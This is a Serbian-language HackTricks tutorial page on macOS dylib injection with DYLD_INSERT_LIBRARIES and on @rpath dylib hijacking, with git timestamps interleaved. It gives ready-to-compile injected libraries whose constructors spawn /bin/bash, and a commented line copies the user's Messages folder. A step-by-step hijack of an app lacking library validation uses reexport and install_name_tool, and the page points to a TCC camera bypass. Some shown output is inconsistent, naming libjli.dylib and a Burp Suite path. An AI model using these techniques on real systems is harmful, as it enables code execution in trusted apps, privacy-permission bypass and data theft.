2023-05-15 14:07:02 +00:00
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
2023-05-15 08:11:15 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-05-15 08:11:15 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-04 09:09:21 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2023-05-15 08:11:15 +00:00
< / details >
2024-02-10 13:11:20 +00:00
## DYLD\_INSERT\_LIBRARIES Osnovni primer
2023-05-15 08:11:15 +00:00
2024-02-10 13:11:20 +00:00
**Biblioteka za ubacivanje** radi izvršavanja shell-a:
2023-05-15 08:11:15 +00:00
```c
2023-05-15 10:48:42 +00:00
// gcc -dynamiclib -o inject.dylib inject.c
2023-05-15 08:11:15 +00:00
#include <syslog.h>
2023-05-15 10:48:42 +00:00
#include <stdio.h>
2023-05-15 08:11:15 +00:00
#include <unistd.h>
2023-09-19 22:52:16 +00:00
#include <stdlib.h>
2023-05-15 08:11:15 +00:00
__attribute__((constructor))
2023-05-18 12:13:32 +00:00
void myconstructor(int argc, const char **argv)
2023-05-15 08:11:15 +00:00
{
2024-02-10 13:11:20 +00:00
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
2023-05-15 08:11:15 +00:00
}
```
2024-02-10 13:11:20 +00:00
Binarni fajl za napad:
2023-05-15 08:11:15 +00:00
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
2024-02-10 13:11:20 +00:00
printf("Hello, World!\n");
return 0;
2023-05-15 08:11:15 +00:00
}
```
2024-02-10 13:11:20 +00:00
Ubacivanje:
2023-05-15 08:11:15 +00:00
```bash
2023-05-15 10:48:42 +00:00
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
2023-05-15 08:11:15 +00:00
```
2024-02-10 13:11:20 +00:00
## Primer Dyld preuzimanja kontrole
2023-05-15 08:11:15 +00:00
2024-02-10 13:11:20 +00:00
Ciljani ranjivi binarni fajl je `/Applications/VulnDyld.app/Contents/Resources/lib/binary` .
2023-05-15 14:07:02 +00:00
{% tabs %}
2023-09-19 22:52:16 +00:00
{% tab title="entitlements" %}
< pre class = "language-bash" data-overflow = "wrap" > < code class = "lang-bash" > codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
< strong > [...]com.apple.security.cs.disable-library-validation[...]
< / strong > < / code > < / pre >
{% endtab %}
2023-05-15 14:07:02 +00:00
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
2023-09-19 22:52:16 +00:00
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
2024-02-10 13:11:20 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/ . (offset 12)
2023-05-15 14:07:02 +00:00
--
2024-02-10 13:11:20 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/ ../lib2 (offset 12)
2023-05-15 14:07:02 +00:00
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
2023-09-19 22:52:16 +00:00
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
2024-02-10 13:11:20 +00:00
name @rpath/lib .dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
2023-05-15 14:07:02 +00:00
compatibility version 1.0.0
2023-09-19 22:52:16 +00:00
# Check the versions
2023-05-15 14:07:02 +00:00
```
2024-02-10 13:11:20 +00:00
{% code %}
2023-05-15 14:07:02 +00:00
{% endcode %}
{% endtab %}
{% endtabs %}
2024-02-10 13:11:20 +00:00
Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i pokušava da učita biblioteku sa:
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
2023-05-15 14:07:02 +00:00
2024-02-10 13:11:20 +00:00
Međutim, prva ne postoji:
2023-05-15 14:07:02 +00:00
```bash
pwd
2023-09-19 22:52:16 +00:00
/Applications/VulnDyld.app
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
2023-05-15 14:07:02 +00:00
```
2024-02-10 13:11:20 +00:00
Dakle, moguće je preuzeti kontrolu nad tim! Kreirajte biblioteku koja **izvršava proizvoljni kod i izvozi iste funkcionalnosti** kao i legitimna biblioteka ponovnim izvozom. I ne zaboravite da je kompajlirate sa očekivanim verzijama:
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
{% code title="lib.m" %}
2023-05-15 14:07:02 +00:00
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 13:11:20 +00:00
NSLog(@"[+] dylib hijacked in %s", argv[0]);
2023-05-15 14:07:02 +00:00
}
```
{% endcode %}
2024-02-10 13:11:20 +00:00
Kompajlirajte ga:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
2023-09-19 22:52:16 +00:00
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
2023-05-15 14:07:02 +00:00
# Note the versions and the reexport
```
{% endcode %}
2024-02-10 13:11:20 +00:00
Putanja reizvoza koju je stvorila biblioteka je relativna u odnosu na učitavač, promenimo je u apsolutnu putanju do biblioteke za izvoz:
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
#Check relative
2023-09-19 22:52:16 +00:00
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-10 13:11:20 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli .dylib (offset 24)
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib .dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
2023-05-15 14:07:02 +00:00
# Check again
2023-09-19 22:52:16 +00:00
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-10 13:11:20 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
2023-05-15 14:07:02 +00:00
```
{% endcode %}
2024-02-10 13:11:20 +00:00
Na kraju samo kopirajte ga na **preuzetu lokaciju** :
2023-05-15 14:07:02 +00:00
{% code overflow="wrap" %}
```bash
2023-09-19 22:52:16 +00:00
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
2023-05-15 14:07:02 +00:00
```
{% endcode %}
2024-02-10 13:11:20 +00:00
I **izvršite** binarnu datoteku i proverite da li je **biblioteka učitana** :
2023-05-15 14:07:02 +00:00
2023-09-19 22:52:16 +00:00
< pre class = "language-context" > < code class = "lang-context" > "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
< strong > 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
< / strong > Usage: [...]
2023-05-15 14:07:02 +00:00
< / code > < / pre >
2023-05-16 16:54:39 +00:00
{% hint style="info" %}
2024-02-10 13:11:20 +00:00
Lepo objašnjenje o tome kako iskoristiti ovu ranjivost kako bi se zloupotrebila dozvola kamere u Telegramu može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ ](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ )
2023-05-16 16:54:39 +00:00
{% endhint %}
2024-02-10 13:11:20 +00:00
## Veći obim
2023-05-15 08:11:15 +00:00
2024-02-10 13:11:20 +00:00
Ako planirate da pokušate da ubacite biblioteke u neočekivane binarne datoteke, možete proveriti poruke događaja da biste saznali kada je biblioteka učitana unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash` ).
2023-05-15 08:11:15 +00:00
```bash
2023-05-15 14:07:02 +00:00
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
2023-05-15 08:11:15 +00:00
```
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-05-15 08:11:15 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-04 09:09:21 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU** ](https://github.com/sponsors/carlospolop )!
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2023-05-15 08:11:15 +00:00
< / details >